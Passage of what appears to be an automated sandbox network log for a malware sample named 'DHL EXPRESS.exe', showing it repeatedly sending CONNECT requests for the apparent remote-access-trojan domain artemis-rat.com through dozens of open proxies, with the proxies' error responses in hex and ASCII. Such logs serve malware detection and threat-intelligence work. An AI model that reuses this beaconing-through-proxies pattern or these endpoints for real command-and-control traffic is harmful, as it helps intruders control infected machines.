Mar 11, 2024 18:36:51.526947021 CET	1286	IN	HTTP/1.1 403 Forbidden Server: squid/5.7 Mime-Version: 1.0 Date: Mon, 11 Mar 2024 17:36:51 GMT Content-Type: text/html;charset=utf-8 Content-Length: 3628 X-Squid-Error: ERR_ACCESS_DENIED 0 Vary: Accept-Language Content-Language: en X-Cache: MISS from lb1 X-Cache-Lookup: NONE from lb1:3128 Via: 1.1 lb1 (squid/5.7) Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 74 79 70 65 3d 22 63 6f 70 79 72 69 67 68 74 22 20 63 6f 6e 74 65 6e 74 3d 22 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 31 39 39 36 2d 32 30 32 30 20 54 68 65 20 53 71 75 69 64 20 53 6f 66 74 77 61 72 65 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 22 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 74 69 74 6c 65 3e 45 52 52 4f 52 3a 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 72 65 74 72 69 65 76 65 64 3c 2f 74 69 74 6c 65 3e 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 3c 21 2d 2d 0a 20 2f 2a 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 31 39 39 36 2d 32 30 32 32 20 54 68 65 20 53 71 75 69 64 20 53 6f 66 74 77 61 72 65 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 0a 20 2a 0a 20 2a 20 53 71 75 69 64 20 73 6f 66 74 77 61 72 65 20 69 73 20 64 69 73 74 72 69 62 75 74 65 64 20 75 6e 64 65 72 20 47 50 4c 76 32 2b 20 6c 69 63 65 6e 73 65 20 61 6e 64 20 69 6e 63 6c 75 64 65 73 0a 20 2a 20 63 6f 6e 74 72 69 62 75 74 69 6f 6e 73 20 66 72 6f 6d 20 6e 75 6d 65 72 6f 75 73 20 69 6e 64 69 76 69 64 75 61 6c 73 20 61 6e 64 20 6f 72 67 61 6e 69 7a 61 74 69 6f 6e 73 2e 0a 20 2a 20 50 6c 65 61 73 65 20 73 65 65 20 74 68 65 20 43 4f 50 59 49 4e 47 20 61 6e 64 20 43 4f 4e 54 52 49 42 55 54 4f 52 53 20 66 69 6c 65 73 20 66 6f 72 20 64 65 74 61 69 6c 73 2e 0a 20 2a 2f 0a 0a 2f 2a 0a 20 53 74 79 6c 65 73 68 65 65 74 20 66 6f 72 20 53 71 75 69 64 20 45 72 72 6f 72 20 70 61 67 65 73 0a 20 41 64 61 70 74 65 64 20 66 72 6f 6d 20 64 65 73 69 67 6e 20 62 79 20 46 72 65 65 20 43 53 53 20 54 65 6d 70 6c 61 74 65 73 0a 20 68 74 74 70 3a 2f 2f 77 77 77 2e 66 72 65 65 63 73 73 74 65 6d 70 6c 61 74 65 73 2e 6f 72 67 0a 20 52 65 6c 65 61 73 65 64 20 66 6f 72 20 66 72 65 65 20 75 6e 64 65 72 20 61 20 43 72 65 61 74 69 76 65 20 43 6f 6d 6d 6f 6e 73 20 41 74 74 72 69 62 75 74 69 6f 6e 20 32 2e 35 20 4c 69 63 65 6e 73 65 0a 2a 2f 0a 0a 2f 2a 20 50 61 67 65 20 62 61 73 69 63 73 20 2a 2f 0a 2a 20 7b 0a 09 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 76 65 72 64 61 6e 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 7d 0a 0a 68 74 6d 6c 20 62 6f 64 79 20 7b 0a 09 6d 61 72 67 69 6e 3a 20 30 3b 0a 09 70 61 64 64 69 6e 67 3a 20 30 3b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"><html><head><meta type="copyright" content="Copyright (C) 1996-2020 The Squid Software Foundation and contributors"><meta http-equiv="Content-Type" content="text/html; charset=utf-8"><title>ERROR: The requested URL could not be retrieved</title><style type="text/css">... /* * Copyright (C) 1996-2022 The Squid Software Foundation and contributors * * Squid software is distributed under GPLv2+ license and includes * contributions from numerous individuals and organizations. * Please see the COPYING and CONTRIBUTORS files for details. // Stylesheet for Squid Error pages Adapted from design by Free CSS Templates http://www.freecsstemplates.org Released for free under a Creative Commons Attribution 2.5 License// Page basics / {font-family: verdana, sans-serif;}html body {margin: 0;padding: 0;background

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1321	192.168.2.8	53846	115.84.248.140	8080	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:51.206444025 CET	193	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com
Mar 11, 2024 18:36:51.619220018 CET	1286	IN	HTTP/1.1 200 OK Date: Mon, 11 Mar 2024 17:36:51 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.1e-fips mod_fcgid/2.3.9 PHP/5.6.40 X-Powered-By: PHP/5.6.40 Cache-Control: max-age=0, no-cache, no-store, must-revalidate Pragma: no-cache Expires: Wed, 11 Jan 1984 05:00:00 GMT Content-Length: 3172 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 20 2f 3e 0d 0a 3c 74 69 74 6c 65 3e 54 68 65 20 55 6e 69 66 6f 72 6d 20 53 65 72 76 65 72 20 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 44 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 54 68 65 20 55 6e 69 66 6f 72 6d 20 53 65 72 76 65 72 20 5a 65 72 6f 20 31 31 2e 32 2e 30 22 20 2f 3e 0d 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 4b 65 79 77 6f 72 64 73 22 20 63 6f 6e 74 65 6e 74 3d 22 54 68 65 20 55 6e 69 66 6f 72 6d 20 53 65 72 76 65 72 2c 20 4d 50 47 2c 20 4d 69 6b 65 20 47 6c 65 61 76 65 73 2c 20 52 69 63 2c 20 55 6e 69 53 65 72 76 65 72 2c 20 4f 6c 61 6a 69 64 65 2c 20 42 6f 62 53 20 22 20 2f 3e 0d 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 68 72 65 66 3d 22 63 73 73 2f 73 74 79 6c 65 2e 63 73 73 22 20 6d 65 64 69 61 3d 22 73 63 72 65 65 6e 22 20 2f 3e 0d 0a 3c 2f 68 65 61 64 3e 0d 0a 0d 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0d 0a 2f 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2f 0d 0a 2e 69 6e 74 72 6f 7b 0d 0a 20 20 6d 61 72 67 69 6e 2d 74 6f 70 3a 33 30 70 78 3b 0d 0a 20 20 70 61 64 64 69 6e 67 3a 31 30 70 78 3b 0d 0a 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 31 32 70 78 3b 0d 0a 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 56 65 72 64 61 6e 61 3b 0d 0a 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 45 37 45 37 46 44 3b 0d 0a 7d 0d 0a 2f 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2f 0d 0a 3c 2f 73 74 79 6c 65 3e 0d 0a 0d 0a 3c 62 6f 64 79 3e 0d 0a 0d 0a 3c 64 69 76 20 69 64 3d 22 77 72 61 70 22 3e 0d 0a 20 20 3c 64 69 76 20 69 64 3d 22 68 65 61 64 65 72 22 3e 0d 0a 20 20 20 20 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 75 6e 69 66 6f 72 6d 73 65 72 76 65 72 2e 63 6f 6d 22 3e 3c 69 6d 67 20 73 72 63 3d 22 69 6d 61 67 65 73 2f 6c 6f 67 6f 2e 70 6e 67 22 20 61 6c 69 67 6e 3d 22 6c 65 66 74 22 20 61 6c 74 3d 22 54 68 65 20 55 6e 69 66 6f 72 6d 20 53 65 72 76 65 72 22 Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><meta http-equiv="Content-Type" content="text/html;charset=utf-8" /><title>The Uniform Server </title><meta name="Description" content="The Uniform Server Zero 11.2.0" /><meta name="Keywords" content="The Uniform Server, MPG, Mike Gleaves, Ric, UniServer, Olajide, BobS " /><link rel="stylesheet" type="text/css" href="css/style.css" media="screen" /></head><style type="text/css">/***************************************/.intro{ margin-top:30px; padding:10px; font-size:12px; font-family:Verdana; background-color: #E7E7FD;}/***************************************/</style><body><div id="wrap"> <div id="header"> <a href="http://www.uniformserver.com"><img src="images/logo.png" align="left" alt="The Uniform Server"
Mar 11, 2024 18:36:52.006453991 CET	454	IN	HTTP/1.1 400 Bad Request Date: Mon, 11 Mar 2024 17:36:51 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.1e-fips mod_fcgid/2.3.9 PHP/5.6.40 Content-Length: 226 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1322	192.168.2.8	52114	122.114.232.137	808	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:51.213253975 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:54.206619024 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:57.206751108 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:03.206718922 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1323	192.168.2.8	53836	185.101.16.52	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:51.273358107 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1324	192.168.2.8	53862	47.114.101.57	8888	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:51.275150061 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:51.590677977 CET	334	IN	HTTP/1.1 400 Bad Request Date: Mon, 11 Mar 2024 17:36:51 GMT Content-Type: text/html Content-Length: 204 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 74 65 6e 67 69 6e 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>tengine</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1325	192.168.2.8	53901	134.209.189.42	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:51.275155067 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:51.567498922 CET	327	IN	HTTP/1.1 400 Bad Request Server: nginx/1.18.0 (Ubuntu) Date: Mon, 11 Mar 2024 17:36:51 GMT Content-Type: text/html Content-Length: 166 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1326	192.168.2.8	53379	92.204.135.37	33899	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:51.275865078 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1327	192.168.2.8	53823	103.120.6.46	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:51.276190996 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1328	192.168.2.8	53837	170.84.205.17	4153	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:51.279568911 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1329	192.168.2.8	53900	8.217.143.187	15673	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:51.280349970 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1330	192.168.2.8	53578	117.160.250.133	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:51.280833006 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:53.065813065 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:54.085695982 CET	303	IN	HTTP/1.1 400 Bad Request Server: openresty Date: Mon, 11 Mar 2024 17:36:53 GMT Content-Type: text/html Content-Length: 154 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>openresty</center></body></html>
Mar 11, 2024 18:36:57.084790945 CET	303	IN	HTTP/1.1 400 Bad Request Server: openresty Date: Mon, 11 Mar 2024 17:36:53 GMT Content-Type: text/html Content-Length: 154 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1331	192.168.2.8	53856	27.76.193.213	1080	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:51.281568050 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1332	192.168.2.8	53904	94.130.94.45	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:51.281860113 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1333	192.168.2.8	53906	196.20.125.129	8083	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:51.284199953 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1334	192.168.2.8	53835	188.136.164.140	3128	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:51.292066097 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1335	192.168.2.8	53902	157.185.173.217	26589	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:51.292253971 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1336	192.168.2.8	53412	144.21.52.220	3128	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:51.292809963 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:54.409667015 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:57.410041094 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:03.409847975 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:15.503180027 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:27.596930027 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:39.597067118 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:38:03.597023964 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
